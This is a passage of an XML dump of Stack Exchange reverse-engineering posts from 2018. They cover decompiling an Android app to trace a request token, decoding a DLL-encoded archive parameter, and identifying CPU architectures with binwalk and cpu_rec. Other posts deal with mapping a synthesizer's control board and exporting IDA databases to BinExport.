  <row Id="18607" PostTypeId="1" AcceptedAnswerId="18614" CreationDate="2018-06-26T16:11:52.953" Score="1" ViewCount="1151" Body="&lt;p&gt;Lets say an Android application sends out a traffic out to the server and expects a Json Response&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://server:port/userid=user1&amp;amp;token=randomstring7345&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We want to replicate the traffic using python library now, the 'randomstring7345' keeps changing everytime, there is a function logic inside the application which generates it on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this was a web application we would have used chrome network tab to do a stack trace once the traffic is generated and then use technical breakpoints to find out the Javascript code which generates the 'randomstring7345'. How can we do the same in Android. first step would be to decompile the application apk I guess and then how do we proceed from there to find out the exact function/logic? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I am trying to do.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;reverse engineer an android apk (bit novice here) &lt;/li&gt;&#xA;&lt;li&gt;create a python library to automate the apk api calls (i can do this once i get the equivalent android code logic)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;for sake of simplicity, lets say there is an flight reservation android app&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the flow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;open the apk, which presents a login screen (user | pass)&lt;/li&gt;&#xA;&lt;li&gt;once you click login you get a Json reply from server a. {Fail: Wrong pass} or b. {Success: login_tokenID}&lt;/li&gt;&#xA;&lt;li&gt;now I put sourceAirport as A DestinationAirport as B and flydate '2018-06-09' and click on Confirm&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The traffic that goes out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://myflights.com:port/userid=user1&amp;amp;token=login_tokenID&amp;amp;accesstoken=8833456&amp;amp;from=A&amp;amp;to=b&amp;amp;date=2018-06-09&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Server sends back Json&#xA;a. {Fail : Choose another date}&#xA;b. {Success: confirmed}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note the flow here the app computes internally accesstoken=8833456 which it supplies in the request else server wont respond to it. I need to find exactly where this logic resides in the app so that I can replicate it.&lt;/p&gt;&#xA;" OwnerUserId="24823" LastEditorUserId="24823" LastEditDate="2018-06-27T13:40:41.383" LastActivityDate="2018-06-27T13:40:41.383" Title="Android Reverse Engineering Network Traffic Stack Trace" Tags="|android|java|decompile|apk|callstack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18608" PostTypeId="1" CreationDate="2018-06-26T16:43:49.583" Score="0" ViewCount="207" Body="&lt;p&gt;I have a broken installation of Metalogix Archive Manager (MAM). Sometimes, I need to go and retrieve attachments that this has archived when it was previously working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original attachment name can be anything.pdf. The attachment name for an archived PDF looks like this - &lt;code&gt;2_000f834l.pdf.zip&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTTP request for the PDF above - &lt;code&gt;http://mam/exchangePAMWS/GetAttachment.aspx?PARAM=003D05g0mg1g04k0fg1204w09w1404Y0gM1904g0fg0N0480cg0M0380dg0Q0340cM0R03o0cM0Q04o0dg0M0480e01403w0dw0M03k0cw0Q03o0d00T03s0d00M04809w1304Y0jw1904g0fg0Q03c0cg0T03k0d00O03g0800w&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how I can extract the archived attachment name from that giant string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded the GetAttachment.cs file referenced by the GetAttachment.aspx file, as well as the original DLL it came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone is interested, I can send over the DLLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I've found some things here using Visual Studio interactive mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Decode6Bit function in EncodeUtils.cs is the key. I've ran that function using the PARAM value above -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; var txt = &quot;003D05g0mg1g04k0fg1204w09w1404Y0gM1904g0fg0N0480cg0M0380dg0Q0340cM0R03o0cM0Q04o0dg0M0480e01403w0dw0M03k0cw0Q03o0d00T03s0d00M04809w1304Y0jw1904g0fg0Q03c0cg0T03k0d00O03g0800w&quot;;&#xA;&amp;gt; Console.WriteLine(Decode6bit(txt))&#xA;TYPE=BH&amp;amp;DOCID=1B10254135634F50B8D860524647740B&amp;amp;CONID=43175424&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24824" LastEditorUserId="24824" LastEditDate="2018-07-02T19:19:43.127" LastActivityDate="2018-07-06T05:55:21.963" Title="Help Needed reversing a function inside a DLL" Tags="|dll|c#|" AnswerCount="1" CommentCount="4" ClosedDate="2018-07-07T01:55:34.030" ContentLicense="CC BY-SA 4.0" />
  <row Id="18609" PostTypeId="2" ParentId="18605" CreationDate="2018-06-26T17:32:00.967" Score="3" Body="&lt;p&gt;There are several tools to identify the opcodes in a file.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your blob is an archive and mix several files or has no magic numbers at the beginning, then try to run &lt;code&gt;binwalk&lt;/code&gt; on it with the following options (see &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk/wiki/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk's documentation&lt;/a&gt; for more details):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; binwalk --opcodes myfile.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are using IDA, you can also use this &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk/wiki/Using-the-Binwalk-IDA-Plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk IDA plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4aGnG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4aGnG.png&quot; alt=&quot;Binwalk IDA Plugin Menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5sqfr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5sqfr.png&quot; alt=&quot;Result of the Binwalk IDA Plugin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;file&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your file has some magic numbers, then the easiest way would be to run a &lt;code&gt;file&lt;/code&gt; on it. This program identify a lot of different file formats and display a lot of information about each format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; file myfile.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-06-26T17:47:15.823" LastActivityDate="2018-06-26T17:47:15.823" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18611" PostTypeId="1" CreationDate="2018-06-26T18:30:56.617" Score="4" ViewCount="67" Body="&lt;p&gt;I am reverse engineering a synthesizer named nord lead 4.&#xA;I want to tap in between the control board and mainboard which has the microprocessor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't start analyzing the signals on the board while it's powered on. I've just been mapping the routes between ICs and familiarizing myself with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out the meaning of all the pins on the 26 pin cable between the control board. It has pins for the potentiometers two leg switches, seven segment displays, and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This board also has several ICs that I am interested in. 3 ADCs (max1039), a mux/demux(hc4052), 2 octal bus transceivers(lc245a), and 6 flipflop ICs(hct374) which are probably used for the seven segment displays, and one demux(lvc138a).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also figured out all the selects and connection between the ADCs and the mux/demux hc4052. This is most of everything I currently know about the topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about the switches. There are around 34 switches in this control board(ones you press with your finger, they are momentary switches). They have two legs, which are electrically connected only when you're pressing the switches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These switches are distributed to 8 buses of the octal transceiver(lc245a) and as well as the microprocessor. So multiple switches are on the same bus.&#xA;Do you have an idea how this machine reads them and know which is which?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out how to determine which switches are which on the bus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much&#xA;Please tell me if you need more info.&lt;/p&gt;&#xA;" OwnerUserId="24759" LastEditorUserId="266" LastEditDate="2018-06-26T21:58:36.847" LastActivityDate="2018-06-26T21:58:36.847" Title="Reverse engineering Nord Lead 4 control board" Tags="|hardware|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18612" PostTypeId="2" ParentId="18605" CreationDate="2018-06-26T22:34:41.540" Score="1" Body="&lt;p&gt;You might try to use &lt;a href=&quot;https://github.com/airbus-seclab/cpu_rec&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;cpu_rec&lt;/strong&gt;&lt;/a&gt; it claims to be able to identify a wide variety of architectures by analyzing the raw binary data ( 70 architectures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cpu_rec is a tool that recognizes cpu instructions in an arbitrary binary file. It can be used as a standalone tool, or as a plugin for &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How to use the tool&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;As a binwalk module&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Add the flag &lt;code&gt;-%&lt;/code&gt; when using binwalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be patient. Waiting a few minutes for the result is to be expected.&#xA;On my laptop the tool takes 25 seconds and 1 Gb of RAM&#xA;to create the signatures for 70 architectures, and then the analysis&#xA;of a binary takes one minute per Mb.&#xA;If you want the tool to be faster, you can remove some architectures,&#xA;if you know that your binary is not one of them (typically Cray or&#xA;MMIX are not found in a firmware).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;As a standalone tool&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just run the tool, with the binary file(s) to analyze as argument(s)&#xA;The tool will try to match an architecture for the whole file, and&#xA;then to detect the largest binary chunk that corresponds to a CPU&#xA;architecture; usually it is the right answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the result is not satisfying, prepending twice &lt;code&gt;-v&lt;/code&gt; to the arguments&#xA;makes the tool very verbose; this is helpful when adding a new&#xA;architecture to the corpus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;a href=&quot;https://github.com/LRGH/elfesteem&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/LRGH/elfesteem&lt;/a&gt; is installed, then the&#xA;tool also extract the text section from ELF, PE, Mach-O or COFF&#xA;files, and outputs the architecture corresponding to this section;&#xA;the possibility of extracting the text section is also used when&#xA;building a corpus from full binary files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option &lt;code&gt;-d&lt;/code&gt; followed by a directory dumps the corpus in that directory;&#xA;using this option one can reconstruct the default corpus.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Examples&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Running the tool as a binwalk module typically results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shell_prompt&amp;gt; binwalk -% corpus/PE/PPC/NTDLL.DLL corpus/MSP430/goodfet32.hex&#xA;&#xA;Target File:   .../corpus/PE/PPC/NTDLL.DLL&#xA;MD5 Checksum:  d006a2a87a3596c744c5573aece81d77&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             None (size=0x5800, entropy=0.620536)&#xA;22528         0x5800          PPCel (size=0x4c800, entropy=0.737337)&#xA;335872        0x52000         None (size=0x1000, entropy=0.720493)&#xA;339968        0x53000         IA-64 (size=0x800, entropy=0.491011)&#xA;342016        0x53800         None (size=0x22000, entropy=0.727501)&#xA;&#xA;Target File:   .../corpus/MSP430/goodfet32.hex&#xA;MD5 Checksum:  4b295284024e2b6a6257b720a7168b92&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             MSP430 (size=0x5200, entropy=0.472185)&#xA;20992         0x5200          None (size=0xe00, entropy=0.467086)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can notice that during the analysis of &lt;code&gt;PPC/NTDLL.DLL&lt;/code&gt;&#xA;a small chunk has been identified as &lt;code&gt;IA-64&lt;/code&gt;.&#xA;This is an erroneous detection, due to the fact that&#xA;the IA-64 architecture has statistical properties similar&#xA;to data sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the entropy value is above 0.9, it is probably encrypted or compressed&#xA;data, and therefore the result of cpu_rec should be meaningless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Known architectures in the default corpus&lt;br&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Freescale_68HC08&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;68HC08&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Freescale_68HC11&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;68HC11&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_MCS-51&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;8051&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/DEC_Alpha&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Alpha&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ARC_(processor)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ARcompact&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ARM_architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ARM64&lt;/code&gt; &lt;code&gt;ARMeb&lt;/code&gt; &lt;code&gt;ARMel&lt;/code&gt; &lt;code&gt;ARMhf&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Atmel_AVR&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;AVR&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ETRAX_CRIS&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;AxisCris&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Blackfin&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Blackfin&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Cell_(microprocessor)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Cell-SPU&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Clipper_architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CLIPPER&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/CompactRISC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CompactRISC&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Cray&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Cray&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Adapteva&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Epiphany&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/FR-V_(microprocessor)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;FR-V&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.fujitsu.com/downloads/MICRO/fma/pdfmcu/hm91101-cm71-10102-2e.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;FR30&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/FTDI&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;FT32&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/H8_Family&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;H8-300&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/HP_FOCUS&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HP-Focus&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PA-RISC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HP-PA&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_i860&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;i860&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/IA-64&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IA-64&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.ic72.com/pdf_file/v/165699.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IQ2000&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/m16c.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M32C&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/m32r.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M32R&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Motorola_68000_series&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M68k&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Motorola_88000&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;M88k&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/M%C2%B7CORE&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MCore&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/LatticeMico32&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Mico32&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MicroBlaze&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MicroBlaze&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MIPS_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MIPS16&lt;/code&gt; &lt;code&gt;MIPSeb&lt;/code&gt; &lt;code&gt;MIPSel&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MMIX&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MMIX&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/MN103&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MN10300&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://moxielogic.org/blog/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Moxie&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/TI_MSP430&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MSP430&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://osdk.andestech.com/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NDS32&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Nios_II&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NIOS-II&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/OCaml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;OCaml&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PDP-11&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PDP-11&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PIC_microcontroller&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PIC10&lt;/code&gt; &lt;code&gt;PIC16&lt;/code&gt; &lt;code&gt;PIC18&lt;/code&gt; &lt;code&gt;PIC24&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/PowerPC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PPCeb&lt;/code&gt; &lt;code&gt;PPCel&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/RISC-V&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RISC-V&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/rl78.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RL78&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ROMP&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ROMP&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/rx.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RX&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/IBM_System/390_ES/9000_Enterprise_Systems_Architecture_ESA_family&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;S-390&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/SPARC&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SPARC&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/STM8&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;STM8&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://sourceware.org/cgen/gen-doc/xstormy16.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Stormy16&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/SuperH&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SuperH&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/TILEPro64&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TILEPro&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Toshiba_TLCS#90&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TLCS-90&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Texas_Instruments_TMS320&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TMS320C2x&lt;/code&gt; &lt;code&gt;TMS320C6x&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/V850&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;V850&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/VAX&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;VAX&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.slideshare.net/AdaCore/controls-and-dataservices&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Visium&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Bellmac_32&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WE32000&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86-64&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;X86-64&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;X86&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tensilica&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Xtensa&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Zilog_Z80&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Z80&lt;/code&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/cc65/cc65&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;#6502#cc65&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22363" LastActivityDate="2018-06-26T22:34:41.540" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18613" PostTypeId="1" CreationDate="2018-06-27T03:20:49.443" Score="4" ViewCount="849" Body="&lt;p&gt;I'm trying to convert my IDB files to BINEXPORT files using the following command that has been advised in many similar questions: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &quot;&amp;lt;path-to-idaq.exe&amp;gt;&quot; -A -OExporterModule:&amp;lt;result-directory&amp;gt; -S&quot;&amp;lt;path-to-export-script&amp;gt;&quot; &quot;&amp;lt;path-to-idb&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I get 4 files in return(ID0, ID1, NAM, TIL files) and no BINEXPORT file. Am I on the right path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Edit: I moved my .idb, idc and batch file to another directory and now my .idb file is being rewritten each time I launch the command instead...)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my  file which is a .idc is correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;    static main()&#xA;    {&#xA;         Batch(0);&#xA;        Wait();&#xA;        Exit(1 - RunPlugin(&quot;zynamics_binexport_8&quot;, 2));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24829" LastEditorUserId="2147" LastEditDate="2018-10-02T20:00:48.770" LastActivityDate="2018-11-02T03:56:04.850" Title="IDAPRO from command line interface: Exporting IDB file to BINEXPORT file" Tags="|ida|tool-bindiff|ida-plugin|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18614" PostTypeId="2" ParentId="18607" CreationDate="2018-06-27T07:17:55.073" Score="2" Body="&lt;p&gt;Hello you can start with the following approach: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decompile the apk file with &lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;apktool&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;convert classes.dex to .jar with &lt;a href=&quot;https://github.com/pxb1988/dex2jar&quot; rel=&quot;nofollow noreferrer&quot;&gt;dex2jar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;open the file with some java decompiler. My favorite is &lt;a href=&quot;https://github.com/deathmarine/Luyten&quot; rel=&quot;nofollow noreferrer&quot;&gt;Luyten&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find the specific function &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$ apktool d 